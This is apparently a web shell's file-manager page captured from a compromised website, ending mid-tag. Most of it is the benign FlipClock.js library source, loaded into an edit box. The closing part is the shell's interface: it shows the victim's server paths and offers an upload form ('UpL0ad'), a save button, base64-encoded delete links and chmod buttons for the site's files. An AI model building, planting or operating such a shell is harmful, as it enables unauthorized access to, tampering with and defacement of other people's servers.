		subSecond: function() {
			this.subSeconds(1);
		},
		
		/**
		 * Converts the object to a human readable string
		 */
		 
		toString: function() {
			return this.getTimeSeconds().toString();
		}
		
		/*
		getYears: function() {
			return Math.floor(this.time / 60 / 60 / 24 / 7 / 52);
		},
		
		getDecades: function() {
			return Math.floor(this.getWeeks() / 10);
		}*/
	});
	
}(jQuery));

/*jshint smarttabs:true */

/**
 * FlipClock.js
 *
 * @author     Justin Kimbrell
 * @copyright  2013 - Objective HTML, LLC
 * @licesnse   http://www.opensource.org/licenses/mit-license.php
 */
	
(function($) {
	
	&quot;use strict&quot;;
	
	/**
	 * The FlipClock.Timer object managers the JS timers
	 *
	 * @param	object  The parent FlipClock.Factory object
	 * @param	object  Override the default options
	 */
	
	FlipClock.Timer = FlipClock.Base.extend({
		
		/**
		 * Callbacks
		 */		
		 
		callbacks: {
			destroy: false,
			create: false,
			init: false,
			interval: false,
			start: false,
			stop: false,
			reset: false
		},
		
		/**
		 * FlipClock timer count (how many intervals have passed)
		 */		
		 
		count: 0,
		
		/**
		 * The parent FlipClock.Factory object
		 */		
		 
		factory: false,
		
		/**
		 * Timer interval (1 second by default)
		 */		
		 
		interval: 1000,

		/**
		 * The rate of the animation in milliseconds (not currently in use)
		 */		
		 
		animationRate: 1000,
				
		/**
		 * Constructor
		 *
		 * @return	void
		 */		
		 
		constructor: function(factory, options) {
			this.base(options);
			this.factory = factory;
			this.callback(this.callbacks.init);	
			this.callback(this.callbacks.create);
		},
		
		/**
		 * This method gets the elapsed the time as an interger
		 *
		 * @return	void
		 */		
		 
		getElapsed: function() {
			return this.count * this.interval;
		},
		
		/**
		 * This method gets the elapsed the time as a Date object
		 *
		 * @return	void
		 */		
		 
		getElapsedTime: function() {
			return new Date(this.time + this.getElapsed());
		},
		
		/**
		 * This method is resets the timer
		 *
		 * @param 	callback  This method resets the timer back to 0
		 * @return	void
		 */		
		 
		reset: function(callback) {
			clearInterval(this.timer);
			this.count = 0;
			this._setInterval(callback);			
			this.callback(this.callbacks.reset);
		},
		
		/**
		 * This method is starts the timer
		 *
		 * @param 	callback  A function that is called once the timer is destroyed
		 * @return	void
		 */		
		 
		start: function(callback) {		
			this.factory.running = true;
			this._createTimer(callback);
			this.callback(this.callbacks.start);
		},
		
		/**
		 * This method is stops the timer
		 *
		 * @param 	callback  A function that is called once the timer is destroyed
		 * @return	void
		 */		
		 
		stop: function(callback) {
			this.factory.running = false;
			this._clearInterval(callback);
			this.callback(this.callbacks.stop);
			this.callback(callback);
		},
		
		/**
		 * Clear the timer interval
		 *
		 * @return	void
		 */		
		 
		_clearInterval: function() {
			clearInterval(this.timer);
		},
		
		/**
		 * Create the timer object
		 *
		 * @param 	callback  A function that is called once the timer is created
		 * @return	void
		 */		
		 
		_createTimer: function(callback) {
			this._setInterval(callback);		
		},
		
		/**
		 * Destroy the timer object
		 *
		 * @param 	callback  A function that is called once the timer is destroyed
		 * @return	void
		 */		
		 	
		_destroyTimer: function(callback) {
			this._clearInterval();			
			this.timer = false;
			this.callback(callback);
			this.callback(this.callbacks.destroy);
		},
		
		/**
		 * This method is called each time the timer interval is ran
		 *
		 * @param 	callback  A function that is called once the timer is destroyed
		 * @return	void
		 */		
		 
		_interval: function(callback) {
			this.callback(this.callbacks.interval);
			this.callback(callback);
			this.count++;
		},
		
		/**
		 * This sets the timer interval
		 *
		 * @param 	callback  A function that is called once the timer is destroyed
		 * @return	void
		 */		
		 
		_setInterval: function(callback) {
			var t = this;
	
			t._interval(callback);

			t.timer = setInterval(function() {		
				t._interval(callback);
			}, this.interval);
		}
			
	});
	
}(jQuery));

(function($) {
	
	/**
	 * Twenty-Four Hour Clock Face
	 *
	 * This class will generate a twenty-four our clock for FlipClock.js
	 *
	 * @param  object  The parent FlipClock.Factory object
	 * @param  object  An object of properties to override the default	
	 */
	 
	FlipClock.TwentyFourHourClockFace = FlipClock.Face.extend({

		/**
		 * Constructor
		 *
		 * @param  object  The parent FlipClock.Factory object
		 * @param  object  An object of properties to override the default	
		 */
		 
		constructor: function(factory, options) {
			this.base(factory, options);
		},

		/**
		 * Build the clock face
		 *
		 * @param  object  Pass the time that should be used to display on the clock.	
		 */
		 
		build: function(time) {
			var t        = this;
			var children = this.factory.$el.find(&#039;ul&#039;);

			if(!this.factory.time.time) {
				this.factory.original = new Date();

				this.factory.time = new FlipClock.Time(this.factory, this.factory.original);
			}

			var time = time ? time : this.factory.time.getMilitaryTime(false, this.showSeconds);

			if(time.length &gt; children.length) {
				$.each(time, function(i, digit) {
					t.createList(digit);
				});
			}
			
			this.createDivider();
			this.createDivider();

			$(this.dividers[0]).insertBefore(this.lists[this.lists.length - 2].$el);
			$(this.dividers[1]).insertBefore(this.lists[this.lists.length - 4].$el);
			
			this.base();
		},
		
		/**
		 * Flip the clock face
		 */
		 
		flip: function(time, doNotAddPlayClass) {
			this.autoIncrement();
			
			time = time ? time : this.factory.time.getMilitaryTime(false, this.showSeconds);
			
			this.base(time, doNotAddPlayClass);	
		}
				
	});
	
}(jQuery));
(function($) {
		
	/**
	 * Counter Clock Face
	 *
	 * This class will generate a generice flip counter. The timer has been
	 * disabled. clock.increment() and clock.decrement() have been added.
	 *
	 * @param  object  The parent FlipClock.Factory object
	 * @param  object  An object of properties to override the default	
	 */
	 
	FlipClock.CounterFace = FlipClock.Face.extend({
		
		/**
		 * Tells the counter clock face if it should auto-increment
		 */

		shouldAutoIncrement: false,

		/**
		 * Constructor
		 *
		 * @param  object  The parent FlipClock.Factory object
		 * @param  object  An object of properties to override the default	
		 */
		 
		constructor: function(factory, options) {

			if(typeof options != &quot;object&quot;) {
				options = {};
			}

			factory.autoStart = options.autoStart ? true : false;

			if(options.autoStart) {
				this.shouldAutoIncrement = true;
			}

			factory.increment = function() {
				factory.countdown = false;
				factory.setTime(factory.getTime().getTimeSeconds() + 1);
			};

			factory.decrement = function() {
				factory.countdown = true;
				var time = factory.getTime().getTimeSeconds();
				if(time &gt; 0) {
					factory.setTime(time - 1);
				}
			};

			factory.setValue = function(digits) {
				factory.setTime(digits);
			};

			factory.setCounter = function(digits) {
				factory.setTime(digits);
			};

			this.base(factory, options);
		},

		/**
		 * Build the clock face	
		 */
		 
		build: function() {
			var t        = this;
			var children = this.factory.$el.find(&#039;ul&#039;);
			var time 	 = this.factory.getTime().digitize([this.factory.getTime().time]);

			if(time.length &gt; children.length) {
				$.each(time, function(i, digit) {
					var list = t.createList(digit);

					list.select(digit);
				});
			
			}

			$.each(this.lists, function(i, list) {
				list.play();
			});

			this.base();
		},
		
		/**
		 * Flip the clock face
		 */
		 
		flip: function(time, doNotAddPlayClass) {			
			if(this.shouldAutoIncrement) {
				this.autoIncrement();
			}

			if(!time) {		
				time = this.factory.getTime().digitize([this.factory.getTime().time]);
			}

			this.base(time, doNotAddPlayClass);
		},

		/**
		 * Reset the clock face
		 */

		reset: function() {
			this.factory.time = new FlipClock.Time(
				this.factory, 
				this.factory.original ? Math.round(this.factory.original) : 0
			);

			this.flip();
		}
	});
	
}(jQuery));
(function($) {

	/**
	 * Daily Counter Clock Face
	 *
	 * This class will generate a daily counter for FlipClock.js. A
	 * daily counter will track days, hours, minutes, and seconds. If
	 * the number of available digits is exceeded in the count, a new
	 * digit will be created.
	 *
	 * @param  object  The parent FlipClock.Factory object
	 * @param  object  An object of properties to override the default
	 */

	FlipClock.DailyCounterFace = FlipClock.Face.extend({

		showSeconds: true,

		/**
		 * Constructor
		 *
		 * @param  object  The parent FlipClock.Factory object
		 * @param  object  An object of properties to override the default
		 */

		constructor: function(factory, options) {
			this.base(factory, options);
		},

		/**
		 * Build the clock face
		 */

		build: function(time) {
			var t = this;
			var children = this.factory.$el.find(&#039;ul&#039;);
			var offset = 0;

			time = time ? time : this.factory.time.getDayCounter(this.showSeconds);

			if(time.length &gt; children.length) {
				$.each(time, function(i, digit) {
					t.createList(digit);
				});
			}

			if(this.showSeconds) {
				$(this.createDivider(&#039;Seconds&#039;)).insertBefore(this.lists[this.lists.length - 2].$el);
			}
			else
			{
				offset = 2;
			}

			$(this.createDivider(&#039;Minutes&#039;)).insertBefore(this.lists[this.lists.length - 4 + offset].$el);
			$(this.createDivider(&#039;Hours&#039;)).insertBefore(this.lists[this.lists.length - 6 + offset].$el);
			$(this.createDivider(&#039;Days&#039;, true)).insertBefore(this.lists[0].$el);

			this.base();
		},

		/**
		 * Flip the clock face
		 */

		flip: function(time, doNotAddPlayClass) {
			if(!time) {
				time = this.factory.time.getDayCounter(this.showSeconds);
			}

			this.autoIncrement();

			this.base(time, doNotAddPlayClass);
		}

	});

}(jQuery));
(function($) {
			
	/**
	 * Hourly Counter Clock Face
	 *
	 * This class will generate an hourly counter for FlipClock.js. An
	 * hour counter will track hours, minutes, and seconds. If number of
	 * available digits is exceeded in the count, a new digit will be 
	 * created.
	 *
	 * @param  object  The parent FlipClock.Factory object
	 * @param  object  An object of properties to override the default	
	 */
	 
	FlipClock.HourlyCounterFace = FlipClock.Face.extend({
			
		// clearExcessDigits: true,

		/**
		 * Constructor
		 *
		 * @param  object  The parent FlipClock.Factory object
		 * @param  object  An object of properties to override the default	
		 */
		 
		constructor: function(factory, options) {
			this.base(factory, options);
		},
		
		/**
		 * Build the clock face
		 */
		
		build: function(excludeHours, time) {
			var t = this;
			var children = this.factory.$el.find(&#039;ul&#039;);
			
			time = time ? time : this.factory.time.getHourCounter();
			
			if(time.length &gt; children.length) {
				$.each(time, function(i, digit) {
					t.createList(digit);
				});
			}
			
			$(this.createDivider(&#039;Seconds&#039;)).insertBefore(this.lists[this.lists.length - 2].$el);
			$(this.createDivider(&#039;Minutes&#039;)).insertBefore(this.lists[this.lists.length - 4].$el);
			
			if(!excludeHours) {
				$(this.createDivider(&#039;Hours&#039;, true)).insertBefore(this.lists[0].$el);
			}
			
			this.base();
		},
		
		/**
		 * Flip the clock face
		 */
		 
		flip: function(time, doNotAddPlayClass) {
			if(!time) {
				time = this.factory.time.getHourCounter();
			}	

			this.autoIncrement();
		
			this.base(time, doNotAddPlayClass);
		},

		/**
		 * Append a newly created list to the clock
		 */

		appendDigitToClock: function(obj) {
			this.base(obj);

			this.dividers[0].insertAfter(this.dividers[0].next());
		}
		
	});
	
}(jQuery));
(function($) {
		
	/**
	 * Minute Counter Clock Face
	 *
	 * This class will generate a minute counter for FlipClock.js. A
	 * minute counter will track minutes and seconds. If an hour is 
	 * reached, the counter will reset back to 0. (4 digits max)
	 *
	 * @param  object  The parent FlipClock.Factory object
	 * @param  object  An object of properties to override the default	
	 */
	 
	FlipClock.MinuteCounterFace = FlipClock.HourlyCounterFace.extend({

		clearExcessDigits: false,

		/**
		 * Constructor
		 *
		 * @param  object  The parent FlipClock.Factory object
		 * @param  object  An object of properties to override the default	
		 */
		 
		constructor: function(factory, options) {
			this.base(factory, options);
		},
		
		/**
		 * Build the clock face	
		 */
		 
		build: function() {
			this.base(true, this.factory.time.getMinuteCounter());
		},
		
		/**
		 * Flip the clock face
		 */
		 
		flip: function(time, doNotAddPlayClass) {
			if(!time) {
				time = this.factory.time.getMinuteCounter();
			}

			this.base(time, doNotAddPlayClass);
		}

	});
	
}(jQuery));
(function($) {
		
	/**
	 * Twelve Hour Clock Face
	 *
	 * This class will generate a twelve hour clock for FlipClock.js
	 *
	 * @param  object  The parent FlipClock.Factory object
	 * @param  object  An object of properties to override the default	
	 */
	 
	FlipClock.TwelveHourClockFace = FlipClock.TwentyFourHourClockFace.extend({
		
		/**
		 * The meridium jQuery DOM object
		 */
		 
		meridium: false,
		
		/**
		 * The meridium text as string for easy access
		 */
		 
		meridiumText: &#039;AM&#039;,
					
		/**
		 * Build the clock face
		 *
		 * @param  object  Pass the time that should be used to display on the clock.	
		 */
		 
		build: function() {
			var t = this;

			var time = this.factory.time.getTime(false, this.showSeconds);

			this.base(time);			
			this.meridiumText = this.getMeridium();			
			this.meridium = $([
				&#039;&lt;ul class=&quot;flip-clock-meridium&quot;&gt;&#039;,
					&#039;&lt;li&gt;&#039;,
						&#039;&lt;a href=&quot;#&quot;&gt;&#039;+this.meridiumText+&#039;&lt;/a&gt;&#039;,
					&#039;&lt;/li&gt;&#039;,
				&#039;&lt;/ul&gt;&#039;
			].join(&#039;&#039;));
						
			this.meridium.insertAfter(this.lists[this.lists.length-1].$el);
		},
		
		/**
		 * Flip the clock face
		 */
		 
		flip: function(time, doNotAddPlayClass) {			
			if(this.meridiumText != this.getMeridium()) {
				this.meridiumText = this.getMeridium();
				this.meridium.find(&#039;a&#039;).html(this.meridiumText);	
			}
			this.base(this.factory.time.getTime(false, this.showSeconds), doNotAddPlayClass);	
		},
		
		/**
		 * Get the current meridium
		 *
		 * @return  string  Returns the meridium (AM|PM)
		 */
		 
		getMeridium: function() {
			return new Date().getHours() &gt;= 12 ? &#039;PM&#039; : &#039;AM&#039;;
		},
		
		/**
		 * Is it currently in the post-medirium?
		 *
		 * @return  bool  Returns true or false
		 */
		 
		isPM: function() {
			return this.getMeridium() == &#039;PM&#039; ? true : false;
		},

		/**
		 * Is it currently before the post-medirium?
		 *
		 * @return  bool  Returns true or false
		 */
		 
		isAM: function() {
			return this.getMeridium() == &#039;AM&#039; ? true : false;
		}
				
	});
	
}(jQuery));
(function($) {

    /**
     * FlipClock Arabic Language Pack
     *
     * This class will be used to translate tokens into the Arabic language.
     *
     */

    FlipClock.Lang.Arabic = {

      &#039;years&#039;   : &#039;&#039;,
      &#039;months&#039;  : &#039;&#039;,
      &#039;days&#039;    : &#039;&#039;,
      &#039;hours&#039;   : &#039;&#039;,
      &#039;minutes&#039; : &#039;&#039;,
      &#039;seconds&#039; : &#039;&#039;

    };

    /* Create various aliases for convenience */

    FlipClock.Lang[&#039;ar&#039;]      = FlipClock.Lang.Arabic;
    FlipClock.Lang[&#039;ar-ar&#039;]   = FlipClock.Lang.Arabic;
    FlipClock.Lang[&#039;arabic&#039;]  = FlipClock.Lang.Arabic;

}(jQuery));
(function($) {
		
	/**
	 * FlipClock Danish Language Pack
	 *
	 * This class will used to translate tokens into the Danish language.
	 *	
	 */
	 
	FlipClock.Lang.Danish = {
		
		&#039;years&#039;   : &#039;r&#039;,
		&#039;months&#039;  : &#039;Mneder&#039;,
		&#039;days&#039;    : &#039;Dage&#039;,
		&#039;hours&#039;   : &#039;Timer&#039;,
		&#039;minutes&#039; : &#039;Minutter&#039;,
		&#039;seconds&#039; : &#039;Sekunder&#039;	

	};
	
	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;da&#039;]     = FlipClock.Lang.Danish;
	FlipClock.Lang[&#039;da-dk&#039;]  = FlipClock.Lang.Danish;
	FlipClock.Lang[&#039;danish&#039;] = FlipClock.Lang.Danish;

}(jQuery));
(function($) {
		
	/**
	 * FlipClock German Language Pack
	 *
	 * This class will used to translate tokens into the German language.
	 *	
	 */
	 
	FlipClock.Lang.German = {
		
		&#039;years&#039;   : &#039;Jahre&#039;,
		&#039;months&#039;  : &#039;Monate&#039;,
		&#039;days&#039;    : &#039;Tage&#039;,
		&#039;hours&#039;   : &#039;Stunden&#039;,
		&#039;minutes&#039; : &#039;Minuten&#039;,
		&#039;seconds&#039; : &#039;Sekunden&#039;	
 
	};
	
	/* Create various aliases for convenience */
 
	FlipClock.Lang[&#039;de&#039;]     = FlipClock.Lang.German;
	FlipClock.Lang[&#039;de-de&#039;]  = FlipClock.Lang.German;
	FlipClock.Lang[&#039;german&#039;] = FlipClock.Lang.German;
 
}(jQuery));
(function($) {
		
	/**
	 * FlipClock English Language Pack
	 *
	 * This class will used to translate tokens into the English language.
	 *	
	 */
	 
	FlipClock.Lang.English = {
		
		&#039;years&#039;   : &#039;Years&#039;,
		&#039;months&#039;  : &#039;Months&#039;,
		&#039;days&#039;    : &#039;Days&#039;,
		&#039;hours&#039;   : &#039;Hours&#039;,
		&#039;minutes&#039; : &#039;Minutes&#039;,
		&#039;seconds&#039; : &#039;Seconds&#039;	

	};
	
	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;en&#039;]      = FlipClock.Lang.English;
	FlipClock.Lang[&#039;en-us&#039;]   = FlipClock.Lang.English;
	FlipClock.Lang[&#039;english&#039;] = FlipClock.Lang.English;

}(jQuery));
(function($) {

	/**
	 * FlipClock Spanish Language Pack
	 *
	 * This class will used to translate tokens into the Spanish language.
	 *
	 */

	FlipClock.Lang.Spanish = {

		&#039;years&#039;   : &#039;Aos&#039;,
		&#039;months&#039;  : &#039;Meses&#039;,
		&#039;days&#039;    : &#039;Das&#039;,
		&#039;hours&#039;   : &#039;Horas&#039;,
		&#039;minutes&#039; : &#039;Minutos&#039;,
		&#039;seconds&#039; : &#039;Segundos&#039;

	};

	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;es&#039;]      = FlipClock.Lang.Spanish;
	FlipClock.Lang[&#039;es-es&#039;]   = FlipClock.Lang.Spanish;
	FlipClock.Lang[&#039;spanish&#039;] = FlipClock.Lang.Spanish;

}(jQuery));
(function($) {
		
	/**
	 * FlipClock Finnish Language Pack
	 *
	 * This class will used to translate tokens into the Finnish language.
	 *	
	 */
	 
	FlipClock.Lang.Finnish = {
		
		&#039;years&#039;   : &#039;Vuotta&#039;,
		&#039;months&#039;  : &#039;Kuukautta&#039;,
		&#039;days&#039;    : &#039;Piv&#039;,
		&#039;hours&#039;   : &#039;Tuntia&#039;,
		&#039;minutes&#039; : &#039;Minuuttia&#039;,
		&#039;seconds&#039; : &#039;Sekuntia&#039;	

	};
	
	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;fi&#039;]      = FlipClock.Lang.Finnish;
	FlipClock.Lang[&#039;fi-fi&#039;]   = FlipClock.Lang.Finnish;
	FlipClock.Lang[&#039;finnish&#039;] = FlipClock.Lang.Finnish;

}(jQuery));

(function($) {

  /**
   * FlipClock Canadian French Language Pack
   *
   * This class will used to translate tokens into the Canadian French language.
   *
   */

  FlipClock.Lang.French = {

    &#039;years&#039;   : &#039;Ans&#039;,
    &#039;months&#039;  : &#039;Mois&#039;,
    &#039;days&#039;    : &#039;Jours&#039;,
    &#039;hours&#039;   : &#039;Heures&#039;,
    &#039;minutes&#039; : &#039;Minutes&#039;,
    &#039;seconds&#039; : &#039;Secondes&#039;

  };

  /* Create various aliases for convenience */

  FlipClock.Lang[&#039;fr&#039;]      = FlipClock.Lang.French;
  FlipClock.Lang[&#039;fr-ca&#039;]   = FlipClock.Lang.French;
  FlipClock.Lang[&#039;french&#039;]  = FlipClock.Lang.French;

}(jQuery));

(function($) {
		
	/**
	 * FlipClock Italian Language Pack
	 *
	 * This class will used to translate tokens into the Italian language.
	 *	
	 */
	 
	FlipClock.Lang.Italian = {
		
		&#039;years&#039;   : &#039;Anni&#039;,
		&#039;months&#039;  : &#039;Mesi&#039;,
		&#039;days&#039;    : &#039;Giorni&#039;,
		&#039;hours&#039;   : &#039;Ore&#039;,
		&#039;minutes&#039; : &#039;Minuti&#039;,
		&#039;seconds&#039; : &#039;Secondi&#039;	

	};
	
	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;it&#039;]      = FlipClock.Lang.Italian;
	FlipClock.Lang[&#039;it-it&#039;]   = FlipClock.Lang.Italian;
	FlipClock.Lang[&#039;italian&#039;] = FlipClock.Lang.Italian;
	
}(jQuery));

(function($) {

  /**
   * FlipClock Latvian Language Pack
   *
   * This class will used to translate tokens into the Latvian language.
   *
   */

  FlipClock.Lang.Latvian = {

    &#039;years&#039;   : &#039;Gadi&#039;,
    &#039;months&#039;  : &#039;Mnei&#039;,
    &#039;days&#039;    : &#039;Dienas&#039;,
    &#039;hours&#039;   : &#039;Stundas&#039;,
    &#039;minutes&#039; : &#039;Mintes&#039;,
    &#039;seconds&#039; : &#039;Sekundes&#039;

  };

  /* Create various aliases for convenience */

  FlipClock.Lang[&#039;lv&#039;]      = FlipClock.Lang.Latvian;
  FlipClock.Lang[&#039;lv-lv&#039;]   = FlipClock.Lang.Latvian;
  FlipClock.Lang[&#039;latvian&#039;] = FlipClock.Lang.Latvian;

}(jQuery));
(function($) {

    /**
     * FlipClock Dutch Language Pack
     *
     * This class will used to translate tokens into the Dutch language.
     */

    FlipClock.Lang.Dutch = {

        &#039;years&#039;   : &#039;Jaren&#039;,
        &#039;months&#039;  : &#039;Maanden&#039;,
        &#039;days&#039;    : &#039;Dagen&#039;,
        &#039;hours&#039;   : &#039;Uren&#039;,
        &#039;minutes&#039; : &#039;Minuten&#039;,
        &#039;seconds&#039; : &#039;Seconden&#039;

    };

    /* Create various aliases for convenience */

    FlipClock.Lang[&#039;nl&#039;]      = FlipClock.Lang.Dutch;
    FlipClock.Lang[&#039;nl-be&#039;]   = FlipClock.Lang.Dutch;
    FlipClock.Lang[&#039;dutch&#039;]   = FlipClock.Lang.Dutch;

}(jQuery));

(function($) {

	/**
	 * FlipClock Norwegian-Bokml Language Pack
	 *
	 * This class will used to translate tokens into the Norwegian language.
	 *	
	 */

	FlipClock.Lang.Norwegian = {

		&#039;years&#039;   : &#039;r&#039;,
		&#039;months&#039;  : &#039;Mneder&#039;,
		&#039;days&#039;    : &#039;Dager&#039;,
		&#039;hours&#039;   : &#039;Timer&#039;,
		&#039;minutes&#039; : &#039;Minutter&#039;,
		&#039;seconds&#039; : &#039;Sekunder&#039;	

	};

	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;no&#039;]      = FlipClock.Lang.Norwegian;
	FlipClock.Lang[&#039;nb&#039;]      = FlipClock.Lang.Norwegian;
	FlipClock.Lang[&#039;no-nb&#039;]   = FlipClock.Lang.Norwegian;
	FlipClock.Lang[&#039;norwegian&#039;] = FlipClock.Lang.Norwegian;

}(jQuery));

(function($) {

	/**
	 * FlipClock Portuguese Language Pack
	 *
	 * This class will used to translate tokens into the Portuguese language.
	 *
	 */

	FlipClock.Lang.Portuguese = {

		&#039;years&#039;   : &#039;Anos&#039;,
		&#039;months&#039;  : &#039;Meses&#039;,
		&#039;days&#039;    : &#039;Dias&#039;,
		&#039;hours&#039;   : &#039;Horas&#039;,
		&#039;minutes&#039; : &#039;Minutos&#039;,
		&#039;seconds&#039; : &#039;Segundos&#039;

	};

	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;pt&#039;]         = FlipClock.Lang.Portuguese;
	FlipClock.Lang[&#039;pt-br&#039;]      = FlipClock.Lang.Portuguese;
	FlipClock.Lang[&#039;portuguese&#039;] = FlipClock.Lang.Portuguese;

}(jQuery));
(function($) {

  /**
   * FlipClock Russian Language Pack
   *
   * This class will used to translate tokens into the Russian language.
   *
   */

  FlipClock.Lang.Russian = {

    &#039;years&#039;   : &#039;&#039;,
    &#039;months&#039;  : &#039;&#039;,
    &#039;days&#039;    : &#039;&#039;,
    &#039;hours&#039;   : &#039;&#039;,
    &#039;minutes&#039; : &#039;&#039;,
    &#039;seconds&#039; : &#039;&#039;

  };

  /* Create various aliases for convenience */

  FlipClock.Lang[&#039;ru&#039;]      = FlipClock.Lang.Russian;
  FlipClock.Lang[&#039;ru-ru&#039;]   = FlipClock.Lang.Russian;
  FlipClock.Lang[&#039;russian&#039;]  = FlipClock.Lang.Russian;

}(jQuery));
(function($) {
		
	/**
	 * FlipClock Swedish Language Pack
	 *
	 * This class will used to translate tokens into the Swedish language.
	 *	
	 */
	 
	FlipClock.Lang.Swedish = {
		
		&#039;years&#039;   : &#039;r&#039;,
		&#039;months&#039;  : &#039;Mnader&#039;,
		&#039;days&#039;    : &#039;Dagar&#039;,
		&#039;hours&#039;   : &#039;Timmar&#039;,
		&#039;minutes&#039; : &#039;Minuter&#039;,
		&#039;seconds&#039; : &#039;Sekunder&#039;	

	};
	
	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;sv&#039;]      = FlipClock.Lang.Swedish;
	FlipClock.Lang[&#039;sv-se&#039;]   = FlipClock.Lang.Swedish;
	FlipClock.Lang[&#039;swedish&#039;] = FlipClock.Lang.Swedish;

}(jQuery));

(function($) {
		
	/**
	 * FlipClock Chinese Language Pack
	 *
	 * This class will used to translate tokens into the Chinese language.
	 *	
	 */
	 
	FlipClock.Lang.Chinese = {
		
		&#039;years&#039;   : &#039;&#039;,
		&#039;months&#039;  : &#039;&#039;,
		&#039;days&#039;    : &#039;&#039;,
		&#039;hours&#039;   : &#039;&#039;,
		&#039;minutes&#039; : &#039;&#039;,
		&#039;seconds&#039; : &#039;&#039;

	};
	
	/* Create various aliases for convenience */

	FlipClock.Lang[&#039;zh&#039;]      = FlipClock.Lang.Chinese;
	FlipClock.Lang[&#039;zh-cn&#039;]   = FlipClock.Lang.Chinese;
	FlipClock.Lang[&#039;chinese&#039;] = FlipClock.Lang.Chinese;

}(jQuery));</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /home/induvedam/public_html/assets/plugins/counters<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>170</td></tr><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5z"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=Y291bnQtZG93bi5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnQtZG93bi5qcw=="/>count-down.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnQtZG93bi5qcw==&c=`+btoa(c):0" value="0644"></td><td>376</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=Y291bnRlci5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnRlci5qcw=="/>counter.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnRlci5qcw==&c=`+btoa(c):0" value="0644"></td><td>1008</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=Y291bnRlcnMtMS5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnRlcnMtMS5qcw=="/>counters-1.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnRlcnMtMS5qcw==&c=`+btoa(c):0" value="0644"></td><td>47</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=Y291bnRlcnVwLm1pbi5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnRlcnVwLm1pbi5qcw=="/>counterup.min.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=Y291bnRlcnVwLm1pbi5qcw==&c=`+btoa(c):0" value="0644"></td><td>3197</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&x=ZmxpcGNsb2NrLmpz">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=ZmxpcGNsb2NrLmpz"/>flipclock.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL2NvdW50ZXJz&f=ZmxpcGNsb2NrLmpz&c=`+btoa(c):0" value="0644"></td><td>55558</td></tr><tr><td><a 